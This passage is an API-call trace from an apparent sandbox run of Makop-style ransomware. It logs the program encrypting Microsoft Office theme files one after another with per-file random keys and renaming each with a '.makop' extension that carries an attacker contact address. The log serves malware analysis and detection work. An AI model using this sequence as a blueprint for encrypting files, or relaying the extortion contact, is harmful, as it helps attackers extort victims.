lpNumberOfBytesRead=0x6577ab4*=0x6ae5, lpOverlapped=0x0) returned 1 [0158.987] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6af0, dwBufLen=0x6af0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6af0) returned 1 [0158.987] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.987] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6af0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6af0, lpOverlapped=0x0) returned 1 [0158.988] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.988] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6bc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.988] SetEndOfFile (hFile=0xf0) returned 1 [0158.995] GetProcessHeap () returned 0x48a0000 [0158.995] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0158.995] GetProcessHeap () returned 0x48a0000 [0158.995] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0158.995] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 125 [0158.995] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0158.998] CloseHandle (hObject=0xf0) returned 1 [0158.998] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x83b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x354c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apex.eftx", cAlternateFileName="APEX~1.EFT")) returned 1 [0158.998] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0158.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0158.999] GetProcessHeap () returned 0x48a0000 [0158.999] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0158.999] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0158.999] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0159.000] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0159.003] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0159.003] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.003] GetProcessHeap () returned 0x48a0000 [0159.003] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0159.004] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30) returned 1 [0159.004] CryptDestroyKey (hKey=0x48c7128) returned 1 [0159.004] WriteFile (in: hFile=0xf0, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0159.004] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0159.004] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0159.004] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0159.004] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0159.005] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0159.005] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0159.005] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.005] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.005] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x354c6, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x354c6, lpOverlapped=0x0) returned 1 [0159.009] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x354d0, dwBufLen=0x354d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x354d0) returned 1 [0159.012] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.012] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x354d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x354d0, lpOverlapped=0x0) returned 1 [0159.013] CryptDestroyKey (hKey=0x48c7128) returned 1 [0159.013] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x35594, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.014] SetEndOfFile (hFile=0xf0) returned 1 [0159.023] GetProcessHeap () returned 0x48a0000 [0159.023] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0159.023] GetProcessHeap () returned 0x48a0000 [0159.023] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0159.023] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0159.023] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0159.026] CloseHandle (hObject=0xf0) returned 1 [0159.026] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f368c00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3f368c00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xbf81, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apothecary.eftx", cAlternateFileName="APOTHE~1.EFT")) returned 1 [0159.026] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0159.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0159.027] GetProcessHeap () returned 0x48a0000 [0159.027] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0159.027] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0159.027] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0159.027] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xf, lpOverlapped=0x0) returned 1 [0159.031] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0159.031] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.031] GetProcessHeap () returned 0x48a0000 [0159.031] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0159.031] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0159.031] CryptDestroyKey (hKey=0x48c7128) returned 1 [0159.032] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0159.032] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0159.032] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0159.032] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0159.032] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0159.033] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0159.033] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0159.033] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.033] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.033] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xbf81, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xbf81, lpOverlapped=0x0) returned 1 [0159.035] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xbf90, dwBufLen=0xbf90 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xbf90) returned 1 [0159.036] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.036] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xbf90, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xbf90, lpOverlapped=0x0) returned 1 [0159.036] CryptDestroyKey (hKey=0x48c7128) returned 1 [0159.036] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xc064, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.036] SetEndOfFile (hFile=0xf0) returned 1 [0159.043] GetProcessHeap () returned 0x48a0000 [0159.043] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0159.043] GetProcessHeap () returned 0x48a0000 [0159.043] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0159.043] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 129 [0159.043] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0159.045] CloseHandle (hObject=0xf0) returned 1 [0159.045] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39bc200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x39bc200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x581a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aspect.eftx", cAlternateFileName="ASPECT~1.EFT")) returned 1 [0159.045] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0159.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0159.047] GetProcessHeap () returned 0x48a0000 [0159.047] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0159.047] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0159.047] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0159.047] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0159.051] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0159.051] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.051] GetProcessHeap () returned 0x48a0000 [0159.051] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0159.051] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0159.051] CryptDestroyKey (hKey=0x48c7128) returned 1 [0159.052] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0159.052] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0159.052] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0159.052] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0159.052] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0159.052] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0159.053] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0159.053] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.053] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.053] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x581a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x581a, lpOverlapped=0x0) returned 1 [0159.055] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5820, dwBufLen=0x5820 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5820) returned 1 [0159.055] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.055] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5820, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5820, lpOverlapped=0x0) returned 1 [0159.056] CryptDestroyKey (hKey=0x48c7128) returned 1 [0159.056] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x58f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.056] SetEndOfFile (hFile=0xf0) returned 1 [0159.062] GetProcessHeap () returned 0x48a0000 [0159.062] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0159.062] GetProcessHeap () returned 0x48a0000 [0159.062] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0159.062] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 125 [0159.062] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0159.064] CloseHandle (hObject=0xf0) returned 1 [0159.064] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42ca1300, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe598f420, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x42ca1300, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x696d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Austin.eftx", cAlternateFileName="AUSTIN~1.EFT")) returned 1 [0159.064] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0159.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0159.066] GetProcessHeap () returned 0x48a0000 [0159.066] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0159.066] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0159.066] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0159.066] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x3, lpOverlapped=0x0) returned 1 [0159.070] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0159.071] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.071] GetProcessHeap () returned 0x48a0000 [0159.071] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0159.071] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0159.071] CryptDestroyKey (hKey=0x48c7128) returned 1 [0159.071] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0159.071] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0159.071] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0159.071] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0159.072] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0159.072] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, 